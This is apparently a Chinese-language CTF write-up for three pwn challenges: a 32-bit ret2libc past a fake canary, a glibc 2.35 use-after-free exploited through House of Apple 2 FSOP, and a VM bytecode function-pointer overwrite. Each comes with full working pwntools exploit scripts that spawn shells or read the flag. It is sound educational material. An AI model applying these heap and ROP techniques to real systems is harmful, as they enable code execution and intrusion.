Featured image of post 第一届创宇杯CTF pwn wp

第一届创宇杯CTF pwn wp

字数: 4548

这次比赛的 pwn 难度不大,一共 3 题 pwn。靠其他方向的大佬带飞到二等奖。

blinkrop

32 位 ret2libc,有个假的 canary。

题面

尝试一下黑盒测试吧。Tips:环境版本为Ubuntu22.04。
仅给二进制文件。

分析

checksec 查看保护:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
[*] '/data/project/ctf-repo/pwn/cyctf2026/blindrop/blindrop'
    Arch:       i386-32-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
    Debuginfo:  Yes

32 位无保护。

ida pro 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  init_io();
  puts(s: "BlindROP Service");
  while ( 1 )
    vuln(expected: 0xDCC82F00);
}

void __cdecl vuln(uint32_t expected)
{
  _BYTE f[128]; // [esp+Ch] [ebp-8Ch] BYREF
  uint32_t v2; // [esp+8Ch] [ebp-Ch]

  v2 = expected;
  write(fd: 1, buf: "payload> ", n: 9u);
  read(fd: 0, buf: f, nbytes: 0x400u);
  printf(format: "payload: %s\n", f);
  if ( expected != v2 )
  {
    puts(s: "canary check failed.");
    _exit(status: 1);
  }
  puts(s: "canary check passed.");
}

好像有 canary,实际是虚假的 canary。
检查 expected 在栈上返回地址的后一块,32 位构建函数调用栈的时候这块地方填的是被调函数的返回地址,和前面的 v2 一致就绕过伪 canary 了。

有足够的 read 进行栈溢出。

利用

最开始的 vuln 参数为 expected: 0xDCC82F00 但因为检查在栈溢出之后,可以被任意覆盖。
所以先用 puts_got, puts_plt 拿到 libc 地址,用 puts, read, write 泄漏地址的后 12 位与 libc.rip 比较拿到 libc 为 libc6-i386_2.35-0ubuntu3.14_amd64 之后就是 ret2libc 跑 system("/bin/sh")。

拿到 libc 地址

1
2
3
4
5
io.recvuntil(b"payload> ")
payload = b"a" * (0x8c - 0xc) + p32(main) + b"a" * (8+ 4) + p32(puts_plt) + p32(main) + p32(puts_got) 
io.send(payload)
io.recvuntil(b"canary check passed.")
puts_addr = u32(io.recvuntil(b"\xf7")[-4:])

计算 libc 基址:

1
2
3
4
5
6
7
print("puts address =", hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
print("libc base = ", hex(libc_base))
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
system = libc_base + libc.sym["system"]
print("binsh =", hex(binsh))
print("system = ", hex(system))

上面的循环调用 vuln 没蛋用,返回地址都被弄乱了。
上面最后回到 main 就再栈溢出跑个 system 就拿到 shell 了。

1
2
3
4
5
io.recvuntil(b"payload> ")
payload = b"a" * (0x8c - 0xc) + p32(main) + b"a" * (8+ 4) + p32(system) + p32(main) + p32(binsh) 
io.send(payload)

io.interactive()

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *

#io = process("./blindrop")
io = remote("challenge.xiaoyuyc.com", 30650)

elf = ELF("./blindrop")
libc = ELF("./libc6-i386_2.35-0ubuntu3.14_amd64.so")

puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
main = elf.sym['main']

canary = 0xDCC82F00
io.recvuntil(b"payload> ")
payload = b"a" * (0x8c - 0xc) + p32(main) + b"a" * (8+ 4) + p32(puts_plt) + p32(main) + p32(puts_got) 
io.send(payload)
io.recvuntil(b"canary check passed.")
puts_addr = u32(io.recvuntil(b"\xf7")[-4:])
print("puts address =", hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
print("libc base = ", hex(libc_base))
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
system = libc_base + libc.sym["system"]
print("binsh =", hex(binsh))
print("system = ", hex(system))
io.recvuntil(b"payload> ")
payload = b"a" * (0x8c - 0xc) + p32(main) + b"a" * (8+ 4) + p32(system) + p32(main) + p32(binsh) 
io.send(payload)

io.interactive()

miao

glibc 2.35 HHouse of Apple2ouse of Apple2。

题面

一只可爱的小猫

给了 ld, libc 和二进制文件。

1
2
3
4
5
6
7
8
Archive:  pwn2.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
   240936  2026-03-14 21:23   ld-linux-x86-64.so.2
  2220400  2026-03-14 21:23   libc.so.6
    20928  2026-04-13 19:21   miao
---------                     -------
  2482264                     3 files

分析

patchelf, 然后看 libc 为 2.35。

1
2
❯ strings libc.so.6 | grep 'GNU C Library'
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.8) stable release version 2.35.

ida pro 静态分析:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __fastcall main(int argc, const char **argv, const char **envp)
{
  init();
  puts(s: "Here is a cute cat.");
  puts(s: "  /\\_/\\  \n");
  puts(s: " (  o.o  ) \n");
  puts(s: "\n");
  while ( 1 )
  {
    menu();
    switch ( read_num() )
    {
      case 1uLL:
        add_note();
        break;
      case 2uLL:
        delete_note();
        break;
      case 3uLL:
        show_note();
        break;
      case 4uLL:
        edit_note();
        break;
      case 5uLL:
        puts(s: "Bye!");
        return 0;
      default:
        puts(s: "Invalid!");
        break;
    }
  }
}

没有 prctl,可以用 execve。
add_note:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void add_note()
{
  int idx; // [rsp+8h] [rbp-18h]
  int i; // [rsp+Ch] [rbp-14h]
  size_t size; // [rsp+10h] [rbp-10h]

  idx = -1;
  for ( i = 0; i <= 15; ++i )
  {
    if ( notes[i].content == nullptr )
    {
      idx = i;
      break;
    }
  }
  if ( idx == -1 )
  {
    puts(s: "No free slot!");
  }
  else
  {
    printf(format: "Size: ");
    size = read_num();
    if ( size != 0 && size <= 0x500 )
    {
      notes[idx].content = (char *)malloc(size);
      if ( notes[idx].content != nullptr )
      {
        notes[idx].size = size;
        memset(s: notes[idx].content, c: 0, n: size);
        printf(format: "Content: ");
        read(fd: 0, buf: notes[idx].content, nbytes: size);
        printf(format: "Note %d created.\n", idx);
      }
      else
      {
        puts(s: "Allocation failed!");
      }
    }
    else
    {
      puts(s: "Invalid size!");
    }
  }
}

分配堆,比较恶心的是有一个 memset,没办法做些泄漏,但后面给了 read 可以做伪造堆。

delete_note:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
void delete_note()
{
  size_t idx; // [rsp+0h] [rbp-10h]

  printf(format: "Index: ");
  idx = read_num();
  if ( idx <= 0xF && notes[idx].content != nullptr )
  {
    free(ptr: notes[idx].content);
    puts(s: "Note deleted.");
  }
  else
  {
    puts(s: "Invalid index!");
  }
}

经典 UAF。

show_note:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
void show_note()
{
  size_t idx; // [rsp+0h] [rbp-10h]

  printf(format: "Index: ");
  idx = read_num();
  if ( idx <= 0xF && notes[idx].content != nullptr )
  {
    printf(format: "Content: ");
    write(fd: 1, buf: notes[idx].content, n: notes[idx].size);
    putchar(c: 10);
  }
  else
  {
    puts(s: "Invalid index!");
  }
}

edit_note:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
void edit_note()
{
  size_t idx; // [rsp+0h] [rbp-10h]

  printf(format: "Index: ");
  idx = read_num();
  if ( idx <= 0xF && notes[idx].content != nullptr )
  {
    printf(format: "Content: ");
    if ( (int)read(fd: 0, buf: notes[idx].content, nbytes: notes[idx].size) > 0 )
      notes[idx].content[notes[idx].size] = 0;
  }
  else
  {
    puts(s: "Invalid index!");
  }
}

可以 UAF,但是重新分配有 memset 把数据清空了。导致 _environ 没办法泄漏栈地址,无法做栈溢出。

利用

前面试了好些时间来做 tcache poison 泄漏 _environ 打栈地址,无果。之后用 FSOP,也就是 House of apple 2。

封装程序行为的函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def select(id: int):
    io.recvuntil(b">> ")
    io.sendline(str(id).encode())


def add(size: int, content: bytes):
    select(1)
    io.recvuntil(b"Size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"Content: ")
    io.send(content)


def delete(idx: int):
    select(2)
    io.recvuntil(b"Index: ")
    io.sendline(str(idx).encode())


def show(idx: int):
    select(3)
    io.recvuntil(b"Index: ")
    io.sendline(str(idx).encode())


def edit(idx: int, content: bytes):
    select(4)
    io.recvuntil(b"Index: ")
    io.sendline(str(idx).encode())
    io.recvuntil(b"Content: ")
    io.send(content)

泄漏基址

先把 libc 和 heap 给泄漏了。libc 2.35 有 safe_unlink,必须拿到堆的基址 « 12 的数据。

泄漏 libc 基址:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
add(0x450, b"0000")  # 0
add(0x20, b"1111")  # 1
delete(0)
show(0)
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x21ACE0
print(b"libc base =", hex(libc_base))

environ = libc.sym["_environ"] + libc_base
stderr = libc_base + libc.sym["_IO_2_1_stderr_"]
io_list_all = libc_base + libc.sym["_IO_list_all"]
print("environ address =", hex(environ))

泄漏堆:

1
2
3
4
5
add(0xFF, b"2222")  # 2
delete(2)
show(2)
heap_xor = u64(io.recvuntil(b"\x05")[-5:].ljust(8, b"\x00"))
print("heap =", hex(heap_xor))

House of Apple 2

本来想打 IO_2_1_stderr 再次泄漏栈地址的,同样无果,就构造三个 IO 结构体:_IO_FILE, _IO_wide_data, _wide_vtable
用 exit 调用时候清理 IO 数据流劫持控制流拿到 system。

具体来讲,glibc 宽字符流处理机制中有一个校验盲区:虽然 _IO_FILE 的主 vtable 会被严格检查,但关联的宽字符数据(_wide_data) 内部的 _wide_vtable 却不会被校验,所以可以先让 _IO_FILE 的 vtable 指向一个合法的宽字符虚表(_IO_wfile_jumps)从而通过检查,然后利用这个合法的虚表去调用 _wide_data 中的函数指针,由于此处无校验,攻击者就能劫持程序执行流。

这里用到的是 House of Apple 2 的变体。将构造的 _IO_FILE 的 vtable 设置为 _IO_wfile_jumps 随后通过精心构造 _wide_data 及其内部的 _wide_vtable 使得在触发 _IO_wfile_overflow等操作时,最终调用 _wide_vtable 中的函数指针,由于 _wide_vtable 无校验,这个指针可以被指向 system。一个技巧就是将 _flag 字段设置为 " sh" ,并将 _wide_vtable->_doallocate 指向 systrem 从而在调用时直接执行 system(" sh")

伪造 _IO_FILE

先构造伪造 _IO_FILE:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
fake_file = flat(
    {
        0x00: b" sh\x00", # _flag,作为 system 的参数
        0x28: p64(1),   # _IO_write_ptr > _IO_rite_base 触发 overflow
        0x88: p64(fake_file_addr), # _lock 指向自身,避免锁检查崩溃
        0xA0: p64(fake_wide_addr), # _wide_data 指针
        0xD8: p64(libc_base + libc.sym["_IO_wfile_jumps"]), # vtable 指向合法宽字符跳转表
    },
    filler=b"\x00",
)

将 _flag 字段作为后面 system 的参数,且满足 _IO_vtable_offset(fp) == 0
0x28 字段是 _IO_write_ptr=1 。0x88 :_lock = fake_file_addr 写要分配给 file 的堆地址,这里给它加锁。
0xa0 _wide_data = fake_wide_addr 指向伪造 _IO_wide_data 结构体的堆。
0xd8:写 _IO_wfile_jumps 地址通过 glibc 的 _IO_vtable_check 检验。

伪造 _IO_wide_data

伪造 _IO_wide_data,让 libc 调用 system。

1
2
3
4
5
6
7
fake_wide = flat(
    {0x18: p64(0), 
     0x30: p64(0), 
     0xE0: p64(fake_vtable_addr) # _wide_vtable 指针
    },
    filler=b"\x00"
)

0x18 是 _IO_write_base=0为了让 _IO_write_ptr 能大于它,绕过检查。
0x30 是_IO_buf_base = 0 触发 _IO_WDOALLOCATE 开关,进入 _IO_WDOALLOCATE,读取虚函数表。
0xe0 指向伪造的 _wide_vtable
这里 _wide_vtable 不会被 glibc 校验,是 House of Apple 2 的核心绕过点。

伪造 _wide_vtable

1
2
3
4
fake_vtable = flat({
    0x68: p64(libc_base + libc.symbols["system"]) # __doallcate 槽位
    },
    filler=b"\x00")

_IO_wfile_overflow 被调用时,会间接调用 _wide_vtable->__doallcate,从而执行 system。
_doallocate 劫持为 system 地址,且 _IO_WDOALLOCATE 把 fp 放入 rdi ,最开始就是 sh 这样就执行了 sh。

把伪造结构体放进堆

最后用 gdb 动调把 3 个堆首 12 位地址拿到,依据这些结构体的大小设定堆大小。

1
2
3
add(0x100, fake_file)  # 3
add(0xf0, fake_wide) # 4
add(0x80, fake_vtable) # 5

这里三个伪造地址变量都要通过动调先前处理好:

1
2
3
fake_file_addr = (heap_xor << 12) + 0x2A0
fake_wide_addr = (heap_xor << 12) + 0x3b0
fake_vtable_addr = (heap_xor << 12) + 0x4b0

劫持 _IO_list_all

做一个 tcache poison 拿到 _IO_list_all 任意写,改写成 fake_file。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
add(0x30, b"666") # 6
add(0x30, b"7777") # 7

delete(6)
delete(7)

store_io_list_all = heap_xor ^ io_list_all

edit(7, p64(store_io_list_all))
add(0x30, b"1")
add(0x30, p64(fake_file_addr))

最后调用 exit,拿到 flag。

1
2
io.sendline(b"5")
io.interactive()

触发 exit() 程序退出时,_IO_flush_all_lockp 会遍历 _IO_list_all 链表,调用伪造 _IO_FILE 的 vtable。最终走到 _IO_wfile_overflow-> _wide_vtable->__doallcate -> system(" sh")。

exp

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
from pwn import *

io = process("./miao")
#io = remote("challenge.xiaoyuyc.com", 47780)
libc = ELF("./libc.so.6")
elf = ELF("./miao")

context.log_level = "debug"


def select(id: int):
    io.recvuntil(b">> ")
    io.sendline(str(id).encode())


def add(size: int, content: bytes):
    select(1)
    io.recvuntil(b"Size: ")
    io.sendline(str(size).encode())
    io.recvuntil(b"Content: ")
    io.send(content)


def delete(idx: int):
    select(2)
    io.recvuntil(b"Index: ")
    io.sendline(str(idx).encode())


def show(idx: int):
    select(3)
    io.recvuntil(b"Index: ")
    io.sendline(str(idx).encode())


def edit(idx: int, content: bytes):
    select(4)
    io.recvuntil(b"Index: ")
    io.sendline(str(idx).encode())
    io.recvuntil(b"Content: ")
    io.send(content)


add(0x450, b"0000")  # 0
add(0x20, b"1111")  # 1
delete(0)
show(0)
libc_base = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00")) - 0x21ACE0
print(b"libc base =", hex(libc_base))

environ = libc.sym["_environ"] + libc_base
stderr = libc_base + libc.sym["_IO_2_1_stderr_"]
io_list_all = libc_base + libc.sym["_IO_list_all"]
print("environ address =", hex(environ))

add(0xFF, b"2222")  # 2
delete(2)
show(2)
heap_xor = u64(io.recvuntil(b"\x05")[-5:].ljust(8, b"\x00"))
print("heap =", hex(heap_xor))

fake_file_addr = (heap_xor << 12) + 0x2A0
print("fake_file address =", hex(fake_file_addr))
fake_wide_addr = (heap_xor << 12) + 0x3b0
print("fake_wide address =", hex(fake_wide_addr))
fake_vtable_addr = (heap_xor << 12) + 0x4b0
print("fake_vtable address =", hex(fake_vtable_addr))
fake_file = flat(
    {
        0x00: b" sh\x00",
        0x28: p64(1),
        0x88: p64(fake_file_addr),
        0xA0: p64(fake_wide_addr),
        0xD8: p64(libc_base + libc.sym["_IO_wfile_jumps"]),
    },
    filler=b"\x00",
)

fake_wide = flat(
    {0x18: p64(0), 0x30: p64(0), 0xE0: p64(fake_vtable_addr)}, filler=b"\x00"
)

fake_vtable = flat({0x68: p64(libc_base + libc.symbols["system"])}, filler=b"\x00")

add(0x100, fake_file)  # 3
add(0xf0, fake_wide) # 4
add(0x80, fake_vtable) # 5

add(0x30, b"666") # 6
add(0x30, b"7777") # 7

delete(6)
delete(7)

store_io_list_all = heap_xor ^ io_list_all

edit(7, p64(store_io_list_all))
add(0x30, b"1")
add(0x30, p64(fake_file_addr))

io.sendline(b"5")

io.interactive()

vmpwn

一道很新颖的 VM 题。题目实现一个小的虚拟机,需要利用虚拟机的字节码来劫持拿到 flag。

分析

checksec 查看,没保护:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
❯ pwn checksec ./vmpwn
[*] '/data/project/ctf-repo/pwn/cyctf2026/vmpwn/pwn3/vmpwn'
    Arch:       amd64-64-little
    RELRO:      No RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x3fe000)
    Stack:      Executable
    RWX:        Has RWX segments
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

ida pro 反汇编:

main 函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char line[32]; // [rsp+0h] [rbp-40h] BYREF
  ssize_t r; // [rsp+20h] [rbp-20h]
  uint8_t *code; // [rsp+28h] [rbp-18h]
  __int64 n; // [rsp+30h] [rbp-10h]
  size_t off; // [rsp+38h] [rbp-8h]

  init_io();
  puts(s: "SimpleVM");
  write(fd: 1, buf: "len> ", n: 5u);
  if ( fgets(s: line, n: 32, stream: stdin) == nullptr )
    return 0;
  n = strtol(nptr: line, endptr: nullptr, base: 10);
  if ( n > 0 && n <= 2048 )
  {
    code = (uint8_t *)malloc(size: n);
    if ( code != nullptr )
    {
      write(fd: 1, buf: "code> ", n: 6u);
      for ( off = 0; off < n; off += r )
      {
        r = read(fd: 0, buf: &code[off], nbytes: n - off);
        if ( r <= 0 )
          _exit(status: 0);
      }
      run_vm(code, len: n);
      return 0;
    }
    else
    {
      return 0;
    }
  }
  else
  {
    puts(s: "bad len");
    return 0;
  }
}

其实核心是 run_vm:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
void __fastcall run_vm(const uint8_t *code, size_t len)
{
  size_t v2; // rax
  size_t v3; // rax
  size_t v4; // rax
  size_t v5; // rax
  VM vm; // [rsp+10h] [rbp-100h] BYREF
  uint64_t v; // [rsp+E8h] [rbp-28h]
  uint64_t v_0; // [rsp+F0h] [rbp-20h]
  int8_t idx; // [rsp+FCh] [rbp-14h]
  int8_t idx_0; // [rsp+FDh] [rbp-13h]
  uint8_t which; // [rsp+FEh] [rbp-12h]
  uint8_t op; // [rsp+FFh] [rbp-11h]
  size_t ip_0; // [rsp+100h] [rbp-10h]
  size_t i; // [rsp+108h] [rbp-8h]

  for ( i = 0; i <= 7; ++i )
    vm.mem[i] = 0;
  vm.funcs[0] = safe_fn;
  vm.funcs[1] = (void (*)(void))exit0;
  vm.sp = 0;
  ip_0 = 0;
  while ( ip_0 < len )
  {
    v2 = ip_0++;
    op = code[v2];
    switch ( op )
    {
      case 1u:
        if ( len < ip_0 + 8 )
          _exit(status: 0);
        v = read_u64_le(p: &code[ip_0]);
        ip_0 += 8LL;
        vm_push(&vm, v);
        break;
      case 2u:
        if ( len < ip_0 + 1 )
          _exit(status: 0);
        v3 = ip_0++;
        idx = code[v3];
        v_0 = vm_pop(&vm);
        vm.mem[idx] = v_0;
        break;
      case 3u:
        if ( len < ip_0 + 1 )
          _exit(status: 0);
        v4 = ip_0++;
        idx_0 = code[v4];
        vm_push(&vm, v: vm.mem[idx_0]);
        break;
      case 4u:
        if ( len < ip_0 + 1 )
          _exit(status: 0);
        v5 = ip_0++;
        which = code[v5];
        if ( which > 1u )
          _exit(status: 0);
        vm.funcs[which]();
        break;
      case 5u:
        return;
      default:
        puts(s: "bad opcode");
        _exit(status: 0);
    }
  }
}

比较复杂,还是需要拆解:

1
2
3
4
5
6
  while ( ip_0 < len )
  {
    v2 = ip_0++;
    op = code[v2]; // 取值
    switch ( op ) // 根据 opcode 执行
    {

这就是很经典的取值、译码、执行的链路。

虚拟机初始化,内存地址清零,预设地址函数指针。

1
2
3
4
5
6
  for ( i = 0; i <= 7; ++i )
    vm.mem[i] = 0;
  vm.funcs[0] = safe_fn;
  vm.funcs[1] = (void (*)(void))exit0;
  vm.sp = 0;
  ip_0 = 0;

后面 5 个 case 就分别对应 5 种操作码:

  1. push imm64
1
2
3
4
5
6
7
case 1u:                                      
  if ( len < ip_0 + 8 )                       
    _exit(status: 0);                         
  v = read_u64_le(p: &code[ip_0]); // 从       code 里读 8 字节
  ip_0 += 8LL;  // ip 前进 8                  
  vm_push(&vm, v); // 压入 VM 栈
  break;

vm_push 没什么特别的:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
void __fastcall vm_push(VM *vm, uint64_t v)
{
  int sp; // eax

  if ( vm->sp > 15 )
  {
    puts(s: "stack overflow");
    _exit(status: 0);
  }
  sp = vm->sp;
  vm->sp = sp + 1;
  vm->stack[sp] = v;
}

这里的格式是:[0x01][8字节小端立即数],实际就是把一个 64 位立即数压入 VM 的栈。
2. pop -> mem[idx]

1
2
3
4
5
6
7
8
case 2u:
  if ( len < ip_0 + 1 )
    _exit(status: 0);
  v3 = ip_0++;
  idx = code[v3]; // 读 1 字节索引
  v_0 = vm_pop(&vm); // 从 VM 栈弹出一个值
  vm.mem[idx] = v_0; // 写进 vm.mem[idx]
  break;

格式:[0x02][1字节idx],作用:弹出栈顶,写入vm.mem[idx]
idx 是 int8_t 范围是 -128~127 没有范围检查。

  1. push mem[idx]
1
2
3
4
5
6
7
case 3u:
  if ( len < ip_0 + 1 )
    _exit(status: 0);
  v4 = ip_0++;
  idx_0 = code[v4];
  vm_push(&vm, v: vm.mem[idx_0]);
  break;

格式:[0x03][1字节idx]
作用:把 vm.mem[idx] 压入 VM 栈,没有范围检查。

  1. call funcs[which]
1
2
3
4
5
6
7
8
9
case 4u:
  if ( len < ip_0 + 1 )
    _exit(status: 0);
  v5 = ip_0++;
  which = code[v5];
  if ( which > 1u )
    _exit(status: 0);
  vm.funcs[which]();
  break;

格式:[0x04][1字节 which]

调用 vm.funcs[which]
如果 funcs[0] 被改成 win 或 system,这里就会执行它。

  1. return
1
2
case 5u:
  return;

格式: [0x05]
作用:退出 VM 主循环。

除此之外,还能拿到 VM 的结构体:

1
2
3
4
5
6
7
struct VM {                  // sizeof = 0xD8
    uint64_t mem[8];         // 0x00 ~ 0x3F  → idx 0..7
    void (*funcs[2])(void);  // 0x40 ~ 0x4F  → idx 8..9
    uint64_t stack[16];      // 0x50 ~ 0xCF  → idx 10..25
    int sp;                  // 0xD0         → idx 26
    // padding
};

因为前面代码没有检查 idx,所以访问内存可以越界访问到结构体后面的成员。

另外有 vuln 函数:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
void win()
{
  _BYTE buf[128]; // [rsp+0h] [rbp-90h] BYREF
  size_t n; // [rsp+80h] [rbp-10h]
  int fd; // [rsp+8Ch] [rbp-4h]

  fd = open(file: "/flag", oflag: 0);
  if ( fd < 0 )
  {
    puts(s: "no flag");
    _exit(status: 0);
  }
  n = read(fd, buf, nbytes: 0x7Fu);
  if ( (__int64)n <= 0 )
  {
    puts(s: "empty flag");
    _exit(status: 0);
  }
  buf[n] = 0;
  write(fd: 1, buf, n);

利用

这里只需要改掉 funcs[0] 然后 call 0 即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from pwn import *

io = process("./vmpwn")

win_addr = 0x4012C7

payload = b"\x01" + p64(win_addr)  # push win
payload += b"\x02" + b"\x08"  # pop->mem[8]
payload += b"\x04" + b"\x00"  # call funcs[0]

io.recvuntil(b"len> ")
io.sendline(str(len(payload)).encode())
io.recvuntil(b"code> ")
io.sendline(payload)

io.interactive()

mem[8] 对应 funcs[0]。